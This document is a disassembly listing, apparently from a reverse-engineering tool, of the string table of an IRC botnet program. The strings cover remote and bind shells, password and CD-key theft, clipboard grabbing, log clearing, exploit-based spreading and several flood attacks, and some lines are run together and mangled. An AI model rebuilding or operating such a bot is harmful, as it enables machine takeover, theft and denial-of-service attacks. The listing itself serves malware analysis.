dword_42D188	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401B66+26F3o
		dd 2E6F666Eh, 0
dword_42D1A4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401B66+269Eo
		dd 746F4220h, 2Eh
unk_42D1C0	db  2Dh	; -		; DATA XREF: sub_401B66+266Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42D1FC	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401B66+260Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401B66+25EEo
		align 10h
unk_42D220	db  2Dh	; -		; DATA XREF: sub_401B66+258Fo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 10h
dword_42D240	dd 234032Dh, 656B6463h,	3027379haSearchComplete	db '- Search completed.',0
dword_42D260	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401B66+2514o
		dd 2E7325h
unk_42D278	db  2Dh	; -		; DATA XREF: sub_401B66:loc_403FB0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42D298	db  2Dh	; -		; DATA XREF: sub_401B66+2443o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42D2C0	db  2Dh	; -		; DATA XREF: sub_401B66+2427o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42D2EC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401B66+2411o
		dd 72616F62h, 2E64h
dword_42D308	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401B66+23E3o
		dd 2Dh
unk_42D320	db  2Dh	; -		; DATA XREF: sub_401B66:loc_403F39o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42D34C	db  2Dh	; -		; DATA XREF: sub_401B66+23CCo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42D370	db  2Dh	; -		; DATA XREF: sub_401B66:loc_403F08o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42D39C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_403F01o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42D3C8	db  2Dh	; -		; DATA XREF: sub_401B66+2394o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42D3EC	db  2Dh	; -		; DATA XREF: sub_401B66+2301o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_26	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42D428	db  2Dh	; -		; DATA XREF: sub_401B66+22A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42D464	db  2Dh	; -		; DATA XREF: sub_401B66+21CAo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42D4A0	db  2Dh	; -		; DATA XREF: sub_401B66+2171o
					; sub_40B945+440o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42D4DC	db  2Dh	; -		; DATA XREF: sub_401B66+2055o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_28	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42D518	db  2Dh	; -		; DATA XREF: sub_401B66+1FFCo
					; sub_40B945+D7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42D54C	db  2Dh	; -		; DATA XREF: sub_401B66+1F4Fo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42D56C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_403A9Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42D5A4	db  2Dh	; -		; DATA XREF: sub_401B66+1ED7o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_30	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42D5E0	db  2Dh	; -		; DATA XREF: sub_401B66+1E78o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401B66+1E4Do
					; sub_401B66+5B1Ao
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401B66+1E46o
					; sub_401B66+5B13o
		align 10h
unk_42D660	db  2Dh	; -		; DATA XREF: sub_401B66+1C93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42D6A0	db  2Dh	; -		; DATA XREF: sub_401B66+1C20o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_31	db 'Failed to start search thread, error: <%d>.',0
unk_42D6DC	db  2Dh	; -		; DATA XREF: sub_401B66+1BA4o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401B66+1B76o
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401B66+1B65o
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1B4Fo
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401B66+1B38o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401B66+1B0Eo
dword_42D74C	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401B66+1ABEo
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401B66+1AA8o
					; sub_401B66+1AF8o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401B66+1A93o
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401B66:loc_4035E4o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401B66+1A69o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401B66+1A54o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401B66+1A3Fo
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401B66+1A2Ao
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401B66+1A15o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401B66+1A00o
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401B66+19EBo
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401B66:loc_40353Co
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401B66+19C1o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401B66+19ACo
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401B66+1997o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401B66+1982o
unk_42D7F4	db  2Dh	; -		; DATA XREF: sub_401B66+1944o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401B66+1929o
					; sub_401B66+3C50o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401B66+1912o
		align 4
unk_42D828	db  2Dh	; -		; DATA XREF: sub_401B66+18F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401B66+18CDo
					; sub_40B04A+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401B66:loc_403426o
dword_42D85C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401B66+18A0o
dword_42D870	dd 6F6877h	dword_42D874	dd 234032Dh, 2646D63h, 2D03hdword_42D880	dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401B66+185Ao
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401B66+1845o
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401B66+1830o
aDll		db 'dll',0              ; DATA XREF: sub_401B66+181Bo
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401B66+1806o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401B66+17F1o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401B66+17DCo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401B66+17C7o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401B66+17B2o
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401B66+179Do
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401B66+1788o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401B66+1773o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401B66+175Eo
		align 10h
aRm51		db 'rm51',0             ; DATA XREF: sub_401B66+1749o
		align 4
aRemove51	db 'remove51',0         ; DATA XREF: sub_401B66+1734o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401B66+171Fo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401B66+170Ao
aNi		db 'ni',0               ; DATA XREF: sub_401B66+16F5o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401B66+16E0o
aClg		db 'clg',0              ; DATA XREF: sub_401B66+16CBo
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401B66+16B6o
		align 4
aLg909		db 'lg909',0            ; DATA XREF: sub_401B66+16A1o
		align 4
aLog909		db 'log909',0           ; DATA XREF: sub_401B66+168Co
		align 4
aAl		db 'al',0               ; DATA XREF: sub_401B66+1677o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401B66+1662o
aT:					; DATA XREF: sub_401B66+164Do
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401B66+1638o
unk_42D954	db  2Dh	; -		; DATA XREF: sub_401B66+1604o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42D97C	db  2Dh	; -		; DATA XREF: sub_401B66+15FDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401B66+15E6o
		align 4
aI:					; DATA XREF: sub_401B66+15D1o
					; .packed:0043A8DCo ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401B66+15BCo
		align 4
aS_1:					; DATA XREF: sub_401B66+15A7o
					; .packed:0043A8E8o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401B66+1592o
		align 4
aQ:					; DATA XREF: sub_401B66+157Do
					; .packed:off_43A8C0o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401B66+1568o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401B66+1553o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401B66+153Eo
		align 4
aR:					; DATA XREF: sub_401B66+1529o
					; sub_401B66+3D49o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401B66+1514o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401B66+14FFo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401B66+14EAo
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401B66+14D5o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401B66+14C0o
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401B66+14ABo
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401B66+1496o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401B66+1481o
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401B66+146Co
		align 10h
dword_42DA40	dd 234032Dh, 6E616373h,	2D0302haScan_0		db 'Scan',0             ; DATA XREF: sub_401B66+145Co
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401B66+1443o
		align 10h
dword_42DA60	dd 234032Dh, 75636573h,	3026572h, 2DhaSecure_0	db 'Secure',0           ; DATA XREF: sub_401B66+1433o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401B66+141Ao
		align 4
dword_42DA84	dd 234032Dh, 6E6F6C63h,	3027365h, 2DhaClone		db 'Clone',0            ; DATA XREF: sub_401B66+140Ao
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401B66+13F1o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401B66+13DCo
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401B66+13C7o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401B66+13B2o
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401B66+139Do
		align 4
dword_42DAD4	dd 234032Dh, 70746674h,	2D030264h, 0aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401B66+1374o
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401B66+134Bo
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401B66+1322o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401B66+12F9o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401B66+12D0o
unk_42DB1C	db  2Dh	; -		; DATA XREF: sub_401B66+12B6o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42DB50	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh					; sub_401B66+1317o
dword_42DB60	dd 64736957h, 61206D6Fh, 63617474h, 6Bh					; sub_401B66+1312o
dword_42DB70	dd 234032Dh, 6E757374h,	2696D61h, 2D03h					; sub_401B66+12EEo
dword_42DB80	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h					; sub_401B66+12E9o
dword_42DB90	dd 234032Dh, 676E6970h,	2D0302h					; sub_401B66+1369o
dword_42DB9C	dd 676E6950h, 6F6C6620h, 646Fh					; sub_401B66+1364o
dword_42DBA8	dd 234032Dh, 2706475h, 2D03h					; sub_401B66+1340o
dword_42DBB4	dd 20504455h, 6F6F6C66h, 64h					; sub_401B66+133Bo
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401B66+117Ao
		align 4
dword_42DBCC	dd 234032Dh, 6B6E6F77h,	2D0302h					; sub_401B66+123Co
dword_42DBD8	dd 6B6E6F57h, 6F6C6620h, 646Fh					; sub_401B66+1237o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401B66+1151o
		align 10h
dword_42DBF0	dd 234032Dh, 67726174h,	3023361h, 2Dh					; sub_401B66+121Eo
dword_42DC00	dd 67726154h, 66203361h, 646F6F6Ch, 0					; sub_401B66+1219o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401B66+1128o
		align 4
dword_42DC1C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh					; sub_401B66+129Co
dword_42DC2C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0					; sub_401B66+1297o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401B66+10FFo
		align 4
dword_42DC48	dd 234032Dh, 26E7973h, 2D03h					; sub_401B66+11BEo
dword_42DC54	dd 206E7953h, 6F6F6C66h, 64h					; sub_401B66+11B9o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401B66+10D6o
dword_42DC68	dd 234032Dh, 736F6464h,	2D0302h					; sub_401B66+11A0o
dword_42DC74	dd 536F4444h, 6F6C6620h, 646Fh					; sub_401B66+119Bo
dword_42DC80	dd 736F6464h, 6F74732Eh, 70hdword_42DC8C	dd 234032Dh, 69646572h,	74636572h, 2D0302hdword_42DC9C	dd 20504354h, 69646572h, 74636572h, 0aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401B66+1084o
		align 4
dword_42DCBC	dd 234032Dh, 2676F6Ch, 2D03hdword_42DCC8	dd 20676F4Ch, 7473696Ch, 0aLogstop	db 'logstop',0          ; DATA XREF: sub_401B66+105Bo
dword_42DCDC	dd 234032Dh, 70747468h,	2D030264h, 0aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401B66+1032o
		align 4
dword_42DCF8	dd 234032Dh, 676F6C72h,	2646E69h, 2D03haRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401B66+1009o
		align 4
dword_42DD14	dd 234032Dh, 6B636F73h,	3023473h, 2DhaSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401B66+FE0o
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401B66+FCBo
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401B66+FB6o
		align 4
dword_42DD3C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0aServer_0	db 'Server',0           ; DATA XREF: sub_401B66+FA6o
					; sub_401B66+FF9o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401B66+F8Do
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401B66+F78o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401B66+F63o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401B66+F4Eo
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401B66+F39o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401B66+F24o
					; sub_401B66+2D22o
aSecure		db 'secure',0           ; DATA XREF: sub_401B66+F0Fo
					; sub_401B66+2D11o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401B66+EFAo
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401B66+EE5o
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401B66+ED0o
aDedication	db 'dedication',0       ; DATA XREF: sub_401B66+EBBo
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401B66+EA6o
aVersion	db 'version',0          ; DATA XREF: sub_401B66+E91o
aLo		db 'lo',0               ; DATA XREF: sub_401B66+E7Co
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401B66+E67o
		align 10h
aD:					; DATA XREF: sub_401B66+E52o
					; .packed:0043A8ECo
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401B66+E3Do
aRn		db 'rn',0               ; DATA XREF: sub_401B66+E28o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401B66+E10o
a63		db '63',0               ; DATA XREF: sub_401B66+CDFo
		align 4
asc_42DDE8:				; DATA XREF: sub_401B66+CB7o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401B66+C7Do
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401B66+C72o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401B66+C61o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401B66+C45o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401B66+C34o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401B66+C22o
aD_0		db '$%d',0              ; DATA XREF: sub_401B66+BB4o
aD_1		db '$%d-',0             ; DATA XREF: sub_401B66+AFEo
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_401B66+A20o
		align 4
a4_0:					; DATA XREF: sub_401B66+A08o
		unicode	0, <4>,0
unk_42DE30	db  2Dh	; -		; DATA XREF: sub_401B66+9E5o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42DE64	db  2Dh	; -		; DATA XREF: sub_401B66+9D4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42DE94	db  2Dh	; -		; DATA XREF: sub_401B66+9AEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42DECC	db  2Dh	; -		; DATA XREF: sub_401B66+955o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401B66+8C1o
		align 8
unk_42DEF8	db  2Dh	; -		; DATA XREF: sub_401B66+8A4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
dword_42DF3C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401B66+874o
		dd 0A0Dh
dword_42DF54	dd 4E495001h, 47hdword_42DF5C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401B66+835o
		dd 0D017325h, 0Ah
dword_42DF78	dd 52455601h, 4E4F4953h, 1dword_42DF84	dd 23h							; sub_40C8F1+1Bo
unk_42DF88	db  2Dh	; -		; DATA XREF: sub_401B66+6F8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_401B66+67Fo
					; sub_401B66+8FEo ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401B66+658o
		align 4
dword_42DFC4	dd 43434401h, 0	dword_42DFCC	dd 323333h						; sub_401B66+A42o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401B66+59Eo
					; sub_409982+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401B66+592o
					; sub_409982+16o
unk_42DFE0	db  2Dh	; -		; DATA XREF: sub_401B66+53Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42E004	db  2Dh	; -		; DATA XREF: sub_401B66+524o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401B66+4F3o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401B66+4B2o
					; sub_40F23F+5B6o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401B66+4A1o
					; sub_401B66+55Eo
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401B66+47Co
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401B66+381o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+32Fo
					; sub_401B66+582o
unk_42E058	db  2Dh	; -		; DATA XREF: sub_401B66+316o
					; sub_401B66+2E73o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401B66+2BDo
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401B66+27Fo
					; sub_401B66+7B1Co ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401B66+257o
					; sub_417D1D:loc_417D92o
a@:					; DATA XREF: sub_401B66+22Co
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401B66+21Co
a005		db '005',0              ; DATA XREF: sub_401B66+207o
a001		db '001',0              ; DATA XREF: sub_401B66+1F2o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1D6o
					; sub_401B66+36Eo ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401B66+1B5o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401B66+19Bo
					; sub_417D1D+4Eo
		align 4
asc_42E0C4:				; DATA XREF: sub_401B66+18Co
					; sub_401B66+7C2Fo
		unicode	0, <!>,0
asc_42E0C8:				; DATA XREF: sub_401B66+A8o
					; sub_401B66+DB4o ...
		unicode	0, < >,0
asc_42E0CC	db ' :',0               ; DATA XREF: sub_401B66+86o
					; sub_401B66:loc_402600o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409982+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A1D+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A1D+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409A1D:loc_40A687o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409A1D+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409A1D+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409A1D+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409A1D+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409A1D+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409A1D+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409A1D:loc_40A5E9o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409A1D+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409A1D+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409A1D:loc_40A59Fo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A1D+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A1D+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A1D+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A1D+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409A1D:loc_40A52Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A1D+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409A1D+AD1o
		align 10h
